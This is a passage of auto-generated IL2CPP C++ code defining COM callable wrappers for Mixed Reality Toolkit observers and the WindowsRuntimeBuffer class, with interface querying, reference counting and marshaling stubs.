WindowsMixedRealityDeviceManager_tBDE7C0F6AA7AC70A5E9DC651A8F65E3F949B16DC_ComCallableWrapper IL2CPP_FINAL : il2cpp::vm::CachedCCWBase, IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953 { inline WindowsMixedRealityDeviceManager_tBDE7C0F6AA7AC70A5E9DC651A8F65E3F949B16DC_ComCallableWrapper(RuntimeObject* obj) : il2cpp::vm::CachedCCWBase(obj) {} virtual il2cpp_hresult_t STDCALL QueryInterface(const Il2CppGuid& iid, void** object) IL2CPP_OVERRIDE { if (::memcmp(&iid, &Il2CppIUnknown::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIInspectable::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIAgileObject::IID, sizeof(Il2CppGuid)) == 0) { *object = GetIdentity(); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIManagedObjectHolder::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIMarshal::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIWeakReferenceSource::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } *object = NULL; return IL2CPP_E_NOINTERFACE; } virtual uint32_t STDCALL AddRef() IL2CPP_OVERRIDE { return AddRefImpl(); } virtual uint32_t STDCALL Release() IL2CPP_OVERRIDE { return ReleaseImpl(); } virtual il2cpp_hresult_t STDCALL GetIids(uint32_t* iidCount, Il2CppGuid** iids) IL2CPP_OVERRIDE { Il2CppGuid* interfaceIds = il2cpp_codegen_marshal_allocate_array(1); interfaceIds[0] = IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID; *iidCount = 1; *iids = interfaceIds; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL GetRuntimeClassName(Il2CppHString* className) IL2CPP_OVERRIDE { return GetRuntimeClassNameImpl(className); } virtual il2cpp_hresult_t STDCALL GetTrustLevel(int32_t* trustLevel) IL2CPP_OVERRIDE { return ComObjectBase::GetTrustLevel(trustLevel); } virtual il2cpp_hresult_t STDCALL IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999() IL2CPP_OVERRIDE { return IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999_ComCallableWrapperProjectedMethod(GetManagedObjectInline()); } }; IL2CPP_EXTERN_C Il2CppIUnknown* CreateComCallableWrapperFor_WindowsMixedRealityDeviceManager_tBDE7C0F6AA7AC70A5E9DC651A8F65E3F949B16DC(RuntimeObject* obj) { void* memory = il2cpp::utils::Memory::Malloc(sizeof(WindowsMixedRealityDeviceManager_tBDE7C0F6AA7AC70A5E9DC651A8F65E3F949B16DC_ComCallableWrapper)); if (memory == NULL) { il2cpp_codegen_raise_out_of_memory_exception(); } return static_cast(new(memory) WindowsMixedRealityDeviceManager_tBDE7C0F6AA7AC70A5E9DC651A8F65E3F949B16DC_ComCallableWrapper(obj)); } // COM Callable Wrapper for Microsoft.MixedReality.Toolkit.XRSDK.WindowsMixedReality.WindowsMixedRealityEyeGazeDataProvider struct WindowsMixedRealityEyeGazeDataProvider_t603FBA607FA40DC983D60FE60E385CA70237FB68_ComCallableWrapper IL2CPP_FINAL : il2cpp::vm::CachedCCWBase, IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953 { inline WindowsMixedRealityEyeGazeDataProvider_t603FBA607FA40DC983D60FE60E385CA70237FB68_ComCallableWrapper(RuntimeObject* obj) : il2cpp::vm::CachedCCWBase(obj) {} virtual il2cpp_hresult_t STDCALL QueryInterface(const Il2CppGuid& iid, void** object) IL2CPP_OVERRIDE { if (::memcmp(&iid, &Il2CppIUnknown::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIInspectable::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIAgileObject::IID, sizeof(Il2CppGuid)) == 0) { *object = GetIdentity(); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIManagedObjectHolder::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIMarshal::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIWeakReferenceSource::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } *object = NULL; return IL2CPP_E_NOINTERFACE; } virtual uint32_t STDCALL AddRef() IL2CPP_OVERRIDE { return AddRefImpl(); } virtual uint32_t STDCALL Release() IL2CPP_OVERRIDE { return ReleaseImpl(); } virtual il2cpp_hresult_t STDCALL GetIids(uint32_t* iidCount, Il2CppGuid** iids) IL2CPP_OVERRIDE { Il2CppGuid* interfaceIds = il2cpp_codegen_marshal_allocate_array(1); interfaceIds[0] = IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID; *iidCount = 1; *iids = interfaceIds; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL GetRuntimeClassName(Il2CppHString* className) IL2CPP_OVERRIDE { return GetRuntimeClassNameImpl(className); } virtual il2cpp_hresult_t STDCALL GetTrustLevel(int32_t* trustLevel) IL2CPP_OVERRIDE { return ComObjectBase::GetTrustLevel(trustLevel); } virtual il2cpp_hresult_t STDCALL IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999() IL2CPP_OVERRIDE { return IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999_ComCallableWrapperProjectedMethod(GetManagedObjectInline()); } }; IL2CPP_EXTERN_C Il2CppIUnknown* CreateComCallableWrapperFor_WindowsMixedRealityEyeGazeDataProvider_t603FBA607FA40DC983D60FE60E385CA70237FB68(RuntimeObject* obj) { void* memory = il2cpp::utils::Memory::Malloc(sizeof(WindowsMixedRealityEyeGazeDataProvider_t603FBA607FA40DC983D60FE60E385CA70237FB68_ComCallableWrapper)); if (memory == NULL) { il2cpp_codegen_raise_out_of_memory_exception(); } return static_cast(new(memory) WindowsMixedRealityEyeGazeDataProvider_t603FBA607FA40DC983D60FE60E385CA70237FB68_ComCallableWrapper(obj)); } // COM Callable Wrapper for Microsoft.MixedReality.Toolkit.XRSDK.WindowsMixedReality.WindowsMixedRealitySpatialMeshObserver struct WindowsMixedRealitySpatialMeshObserver_t180096751E0105AB1A2090F58A1C5574520EA7B2_ComCallableWrapper IL2CPP_FINAL : il2cpp::vm::CachedCCWBase, IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953 { inline WindowsMixedRealitySpatialMeshObserver_t180096751E0105AB1A2090F58A1C5574520EA7B2_ComCallableWrapper(RuntimeObject* obj) : il2cpp::vm::CachedCCWBase(obj) {} virtual il2cpp_hresult_t STDCALL QueryInterface(const Il2CppGuid& iid, void** object) IL2CPP_OVERRIDE { if (::memcmp(&iid, &Il2CppIUnknown::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIInspectable::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIAgileObject::IID, sizeof(Il2CppGuid)) == 0) { *object = GetIdentity(); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIManagedObjectHolder::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIMarshal::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIWeakReferenceSource::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } *object = NULL; return IL2CPP_E_NOINTERFACE; } virtual uint32_t STDCALL AddRef() IL2CPP_OVERRIDE { return AddRefImpl(); } virtual uint32_t STDCALL Release() IL2CPP_OVERRIDE { return ReleaseImpl(); } virtual il2cpp_hresult_t STDCALL GetIids(uint32_t* iidCount, Il2CppGuid** iids) IL2CPP_OVERRIDE { Il2CppGuid* interfaceIds = il2cpp_codegen_marshal_allocate_array(1); interfaceIds[0] = IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID; *iidCount = 1; *iids = interfaceIds; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL GetRuntimeClassName(Il2CppHString* className) IL2CPP_OVERRIDE { return GetRuntimeClassNameImpl(className); } virtual il2cpp_hresult_t STDCALL GetTrustLevel(int32_t* trustLevel) IL2CPP_OVERRIDE { return ComObjectBase::GetTrustLevel(trustLevel); } virtual il2cpp_hresult_t STDCALL IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999() IL2CPP_OVERRIDE { return IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999_ComCallableWrapperProjectedMethod(GetManagedObjectInline()); } }; IL2CPP_EXTERN_C Il2CppIUnknown* CreateComCallableWrapperFor_WindowsMixedRealitySpatialMeshObserver_t180096751E0105AB1A2090F58A1C5574520EA7B2(RuntimeObject* obj) { void* memory = il2cpp::utils::Memory::Malloc(sizeof(WindowsMixedRealitySpatialMeshObserver_t180096751E0105AB1A2090F58A1C5574520EA7B2_ComCallableWrapper)); if (memory == NULL) { il2cpp_codegen_raise_out_of_memory_exception(); } return static_cast(new(memory) WindowsMixedRealitySpatialMeshObserver_t180096751E0105AB1A2090F58A1C5574520EA7B2_ComCallableWrapper(obj)); } // COM Callable Wrapper for System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeBuffer struct WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129_ComCallableWrapper IL2CPP_FINAL : il2cpp::vm::CachedCCWBase, IBuffer_t33ECA22EB7DDA1EF333215FF8109DC736AF11FBC, IBufferByteAccess_tAB5A5724D10A6E9006A794EC1B2626F787C67E9E, IMarshal_tD34B3265844DB850A43AD96E1A0ABA8DFCF3397F, IAgileObject_t6F1702BEB08256952B124A9982A893DF328C2434 { inline WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129_ComCallableWrapper(RuntimeObject* obj) : il2cpp::vm::CachedCCWBase(obj) {} virtual il2cpp_hresult_t STDCALL QueryInterface(const Il2CppGuid& iid, void** object) IL2CPP_OVERRIDE { if (::memcmp(&iid, &Il2CppIUnknown::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIInspectable::IID, sizeof(Il2CppGuid)) == 0) { *object = GetIdentity(); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIManagedObjectHolder::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IBuffer_t33ECA22EB7DDA1EF333215FF8109DC736AF11FBC::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IBufferByteAccess_tAB5A5724D10A6E9006A794EC1B2626F787C67E9E::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IMarshal_tD34B3265844DB850A43AD96E1A0ABA8DFCF3397F::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IAgileObject_t6F1702BEB08256952B124A9982A893DF328C2434::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIWeakReferenceSource::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } *object = NULL; return IL2CPP_E_NOINTERFACE; } virtual uint32_t STDCALL AddRef() IL2CPP_OVERRIDE { return AddRefImpl(); } virtual uint32_t STDCALL Release() IL2CPP_OVERRIDE { return ReleaseImpl(); } virtual il2cpp_hresult_t STDCALL GetIids(uint32_t* iidCount, Il2CppGuid** iids) IL2CPP_OVERRIDE { Il2CppGuid* interfaceIds = il2cpp_codegen_marshal_allocate_array(1); interfaceIds[0] = IBuffer_t33ECA22EB7DDA1EF333215FF8109DC736AF11FBC::IID; *iidCount = 1; *iids = interfaceIds; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL GetRuntimeClassName(Il2CppHString* className) IL2CPP_OVERRIDE { return GetRuntimeClassNameImpl(className); } virtual il2cpp_hresult_t STDCALL GetTrustLevel(int32_t* trustLevel) IL2CPP_OVERRIDE { return ComObjectBase::GetTrustLevel(trustLevel); } virtual il2cpp_hresult_t STDCALL IBuffer_get_Capacity_m970326E6407CE3EC1CF64E69994517B316028691(uint32_t* comReturnValue) IL2CPP_OVERRIDE { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&String_t_il2cpp_TypeInfo_var); s_Il2CppMethodInitialized = true; } il2cpp::vm::ScopedThreadAttacher _vmThreadHelper; // Managed method invocation uint32_t returnValue; try { WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129 * __thisValue = (WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129 *)GetManagedObjectInline(); returnValue = WindowsRuntimeBuffer_Windows_Storage_Streams_IBuffer_get_Capacity_mFCD1D3C1A5DC7CB389927A5529BCD86518ED0AB5_inline(__thisValue, NULL); } catch (const Il2CppExceptionWrapper& ex) { memset(comReturnValue, 0, sizeof(*comReturnValue)); String_t* exceptionStr = NULL; try { exceptionStr = VirtFuncInvoker0< String_t* >::Invoke(3 /* System.String System.Object::ToString() */, ex.ex); } catch (const Il2CppExceptionWrapper&) { exceptionStr = ((String_t_StaticFields*)il2cpp_codegen_static_fields_for(String_t_il2cpp_TypeInfo_var))->get_Empty_5(); } il2cpp_codegen_store_exception_info(ex.ex, exceptionStr); return ex.ex->hresult; } *comReturnValue = returnValue; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL IBuffer_get_Length_mF5A8C72B170E0798C7D1709BFD0E501FDF566349(uint32_t* comReturnValue) IL2CPP_OVERRIDE { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&String_t_il2cpp_TypeInfo_var); s_Il2CppMethodInitialized = true; } il2cpp::vm::ScopedThreadAttacher _vmThreadHelper; // Managed method invocation uint32_t returnValue; try { WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129 * __thisValue = (WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129 *)GetManagedObjectInline(); returnValue = WindowsRuntimeBuffer_Windows_Storage_Streams_IBuffer_get_Length_mBC04A275BE71FE110C0A6B94A66A5F9726F6461F_inline(__thisValue, NULL); } catch (const Il2CppExceptionWrapper& ex) { memset(comReturnValue, 0, sizeof(*comReturnValue)); String_t* exceptionStr = NULL; try { exceptionStr = VirtFuncInvoker0< String_t* >::Invoke(3 /* System.String System.Object::ToString() */, ex.ex); } catch (const Il2CppExceptionWrapper&) { exceptionStr = ((String_t_StaticFields*)il2cpp_codegen_static_fields_for(String_t_il2cpp_TypeInfo_var))->get_Empty_5(); } il2cpp_codegen_store_exception_info(ex.ex, exceptionStr); return ex.ex->hresult; } *comReturnValue = returnValue; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL IBuffer_put_Length_m257651767765E9EB93F950F3ADA01F4ACF8A2D59(uint32_t ___value0) IL2CPP_OVERRIDE { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&String_t_il2cpp_TypeInfo_var); s_Il2CppMethodInitialized = true; } il2cpp::vm::ScopedThreadAttacher _vmThreadHelper; // Managed method invocation try { WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129 * __thisValue = (WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129 *)GetManagedObjectInline(); WindowsRuntimeBuffer_Windows_Storage_Streams_IBuffer_put_Length_m2B1B2192ECCDAE8762FC18CC6B16B4BC5551D95B(__thisValue, ___value0, NULL); } catch (const Il2CppExceptionWrapper& ex) { String_t* exceptionStr = NULL; try { exceptionStr = VirtFuncInvoker0< String_t* >::Invoke(3 /* System.String System.Object::ToString() */, ex.ex); } catch (const Il2CppExceptionWrapper&) { exceptionStr = ((String_t_StaticFields*)il2cpp_codegen_static_fields_for(String_t_il2cpp_TypeInfo_var))->get_Empty_5(); } il2cpp_codegen_store_exception_info(ex.ex, exceptionStr); return ex.ex->hresult; } return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL IBufferByteAccess_GetBuffer_m8F6F0F782B7EA90FC90602224E5817AF96A568A9(intptr_t* comReturnValue) IL2CPP_OVERRIDE { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&String_t_il2cpp_TypeInfo_var); s_Il2CppMethodInitialized = true; } il2cpp::vm::ScopedThreadAttacher _vmThreadHelper; // Managed method invocation intptr_t returnValue; try { WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129 * __thisValue = (WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129 *)GetManagedObjectInline(); returnValue = WindowsRuntimeBuffer_System_Runtime_InteropServices_WindowsRuntime_IBufferByteAccess_GetBuffer_mAF0662BC19B20E3AC7377C080B057C9423B49014(__thisValue, NULL); } catch (const Il2CppExceptionWrapper& ex) { memset(comReturnValue, 0, sizeof(*comReturnValue)); String_t* exceptionStr = NULL; try { exceptionStr = VirtFuncInvoker0< String_t* >::Invoke(3 /* System.String System.Object::ToString() */, ex.ex); } catch (const Il2CppExceptionWrapper&) { exceptionStr = ((String_t_StaticFields*)il2cpp_codegen_static_fields_for(String_t_il2cpp_TypeInfo_var))->get_Empty_5(); } il2cpp_codegen_store_exception_info(ex.ex, exceptionStr); return ex.ex->hresult; } *comReturnValue = returnValue; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL IMarshal_GetUnmarshalClass_m8E46B958BDAD31CAB4469F61769C4A43CEE851B0(Guid_t * ___riid0, intptr_t ___pv1, uint32_t ___dwDestContext2, intptr_t ___pvDestContext3, uint32_t ___mshlFlags4, Guid_t * ___pCid5) IL2CPP_OVERRIDE { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&String_t_il2cpp_TypeInfo_var); s_Il2CppMethodInitialized = true; } il2cpp::vm::ScopedThreadAttacher _vmThreadHelper; // Marshaling of parameter '___pCid5' to managed representation Guid_t ____pCid5_empty; memset((&____pCid5_empty), 0, sizeof(____pCid5_empty)); // Managed method invocation try { WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129 * __thisValue = (WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129 *)GetManagedObjectInline(); WindowsRuntimeBuffer_System_Runtime_InteropServices_IMarshal_GetUnmarshalClass_mF89EBF002568BC8D18BA6B28CE2A02A3C67D8426(__thisValue, ___riid0, ___pv1, ___dwDestContext2, ___pvDestContext3, ___mshlFlags4, (&____pCid5_empty), NULL); } catch (const Il2CppExceptionWrapper& ex) { String_t* exceptionStr = NULL; try { exceptionStr = VirtFuncInvoker0< String_t* >::Invoke(3 /* System.String System.Object::ToString() */, ex.ex); } catch (const Il2CppExceptionWrapper&) { exceptionStr = ((String_t_StaticFields*)il2cpp_codegen_static_fields_for(String_t_il2cpp_TypeInfo_var))->get_Empty_5(); } il2cpp_codegen_store_exception_info(ex.ex, exceptionStr); return ex.ex->hresult; } // Marshaling of parameter '___pCid5' back from managed representation *___pCid5 = ____pCid5_empty; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL IMarshal_GetMarshalSizeMax_mF0954EED35E28BBA1CE5D782B9468FAFA2794CE7(Guid_t * ___riid0, intptr_t ___pv1, uint32_t ___dwDestContext2, intptr_t ___pvDestContext3, uint32_t ___mshlflags4, uint32_t* ___pSize5) IL2CPP_OVERRIDE { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&String_t_il2cpp_TypeInfo_var); s_Il2CppMethodInitialized = true; } il2cpp::vm::ScopedThreadAttacher _vmThreadHelper; // Marshaling of parameter '___pSize5' to managed representation uint32_t ____pSize5_empty = 0; // Managed method invocation try { WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129 * __thisValue = (WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129 *)GetManagedObjectInline(); WindowsRuntimeBuffer_System_Runtime_InteropServices_IMarshal_GetMarshalSizeMax_m4140DA5FB36C45D0C1EC1352BEA8DE6696578064(__thisValue, ___riid0, ___pv1, ___dwDestContext2, ___pvDestContext3, ___mshlflags4, (&____pSize5_empty), NULL); } catch (const Il2CppExceptionWrapper& ex) { String_t* exceptionStr = NULL; try { exceptionStr = VirtFuncInvoker0< String_t* >::Invoke(3 /* System.String System.Object::ToString() */, ex.ex); } catch (const Il2CppExceptionWrapper&) { exceptionStr = ((String_t_StaticFields*)il2cpp_codegen_static_fields_for(String_t_il2cpp_TypeInfo_var))->get_Empty_5(); } il2cpp_codegen_store_exception_info(ex.ex, exceptionStr); return ex.ex->hresult; } // Marshaling of parameter '___pSize5' back from managed representation *___pSize5 = ____pSize5_empty; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL IMarshal_MarshalInterface_mA481A30479B4E39647B608B7ED40FB7AEB302A68(intptr_t ___pStm0, Guid_t * ___riid1, intptr_t ___pv2, uint32_t ___dwDestContext3, intptr_t ___pvDestContext4, uint32_t ___mshlflags5) IL2CPP_OVERRIDE { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&String_t_il2cpp_TypeInfo_var); s_Il2CppMethodInitialized = true; } il2cpp::vm::ScopedThreadAttacher _vmThreadHelper; // Managed method invocation try { WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129 * __thisValue = (WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129 *)GetManagedObjectInline(); WindowsRuntimeBuffer_System_Runtime_InteropServices_IMarshal_MarshalInterface_mB73D77AE608A5F1EF29F56F06C45DE1C04B8F639(__thisValue, ___pStm0, ___riid1, ___pv2, ___dwDestContext3, ___pvDestContext4, ___mshlflags5, NULL); } catch (const Il2CppExceptionWrapper& ex) { String_t* exceptionStr = NULL; try { exceptionStr = VirtFuncInvoker0< String_t* >::Invoke(3 /* System.String System.Object::ToString() */, ex.ex); } catch (const Il2CppExceptionWrapper&) { exceptionStr = ((String_t_StaticFields*)il2cpp_codegen_static_fields_for(String_t_il2cpp_TypeInfo_var))->get_Empty_5(); } il2cpp_codegen_store_exception_info(ex.ex, exceptionStr); return ex.ex->hresult; } return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL IMarshal_UnmarshalInterface_m535C6AE1A1625CCBEE16A8AADD6FA0228668B5AF(intptr_t ___pStm0, Guid_t * ___riid1, intptr_t* ___ppv2) IL2CPP_OVERRIDE { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&String_t_il2cpp_TypeInfo_var); s_Il2CppMethodInitialized = true; } il2cpp::vm::ScopedThreadAttacher _vmThreadHelper; // Marshaling of parameter '___ppv2' to managed representation intptr_t ____ppv2_empty; memset((&____ppv2_empty), 0, sizeof(____ppv2_empty)); // Managed method invocation try { WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129 * __thisValue = (WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129 *)GetManagedObjectInline(); WindowsRuntimeBuffer_System_Runtime_InteropServices_IMarshal_UnmarshalInterface_m71734EF46FAADB9CEE534A73D08FC73352F37B39(__thisValue, ___pStm0, ___riid1, (&____ppv2_empty), NULL); } catch (const Il2CppExceptionWrapper& ex) { String_t* exceptionStr = NULL; try { exceptionStr = VirtFuncInvoker0< String_t* >::Invoke(3 /* System.String System.Object::ToString() */, ex.ex); } catch (const Il2CppExceptionWrapper&) { exceptionStr = ((String_t_StaticFields*)il2cpp_codegen_static_fields_for(String_t_il2cpp_TypeInfo_var))->get_Empty_5(); } il2cpp_codegen_store_exception_info(ex.ex, exceptionStr); return ex.ex->hresult; } // Marshaling of parameter '___ppv2' back from managed representation *___ppv2 = ____ppv2_empty; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL IMarshal_ReleaseMarshalData_m99BFE51BA91305E8BDDBAE578DE0DE99A1FA626F(intptr_t ___pStm0) IL2CPP_OVERRIDE { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&String_t_il2cpp_TypeInfo_var); s_Il2CppMethodInitialized = true; } il2cpp::vm::ScopedThreadAttacher _vmThreadHelper; // Managed method invocation try { WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129 * __thisValue = (WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129 *)GetManagedObjectInline(); WindowsRuntimeBuffer_System_Runtime_InteropServices_IMarshal_ReleaseMarshalData_m1BBAA5FC9C261A979249C3720C077D910619B4BF(__thisValue, ___pStm0, NULL); } catch (const Il2CppExceptionWrapper& ex) { String_t* exceptionStr = NULL; try { exceptionStr = VirtFuncInvoker0< String_t* >::Invoke(3 /* System.String System.Object::ToString() */, ex.ex); } catch (const Il2CppExceptionWrapper&) { exceptionStr = ((String_t_StaticFields*)il2cpp_codegen_static_fields_for(String_t_il2cpp_TypeInfo_var))->get_Empty_5(); } il2cpp_codegen_store_exception_info(ex.ex, exceptionStr); return ex.ex->hresult; } return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL IMarshal_DisconnectObject_m7B4B9C315995DCCA208E1681D8747ED4005BAC30(uint32_t ___dwReserved0) IL2CPP_OVERRIDE { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&String_t_il2cpp_TypeInfo_var); s_Il2CppMethodInitialized = true; } il2cpp::vm::ScopedThreadAttacher _vmThreadHelper; // Managed method invocation try { WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129 * __thisValue = (WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129 *)GetManagedObjectInline(); WindowsRuntimeBuffer_System_Runtime_InteropServices_IMarshal_DisconnectObject_mA7586ECB5656276267A0336CA96A2083B41B1BBC(__thisValue, ___dwReserved0, NULL); } catch (const Il2CppExceptionWrapper& ex) { String_t* exceptionStr = NULL; try { exceptionStr = VirtFuncInvoker0< String_t* >::Invoke(3 /* System.String System.Object::ToString() */, ex.ex); } catch (const Il2CppExceptionWrapper&) { exceptionStr = ((String_t_StaticFields*)il2cpp_codegen_static_fields_for(String_t_il2cpp_TypeInfo_var))->get_Empty_5(); } il2cpp_codegen_store_exception_info(ex.ex, exceptionStr); return ex.ex->hresult; } return IL2CPP_S_OK; } }; IL2CPP_EXTERN_C Il2CppIUnknown* CreateComCallableWrapperFor_WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129(RuntimeObject* obj) { void* memory = il2cpp::utils::Memory::Malloc(sizeof(WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129_ComCallableWrapper)); if (memory == NULL) { il2cpp_codegen_raise_out_of_memory_exception(); } return static_cast(new(memory) WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129_ComCallableWrapper(obj)); } // COM Callable Wrapper for Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver struct WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340_ComCallableWrapper IL2CPP_FINAL : 